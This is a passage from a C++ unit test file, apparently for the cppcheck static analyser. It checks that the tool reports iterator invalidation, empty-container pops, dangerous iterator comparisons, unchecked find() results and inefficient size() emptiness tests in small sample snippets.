{\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n 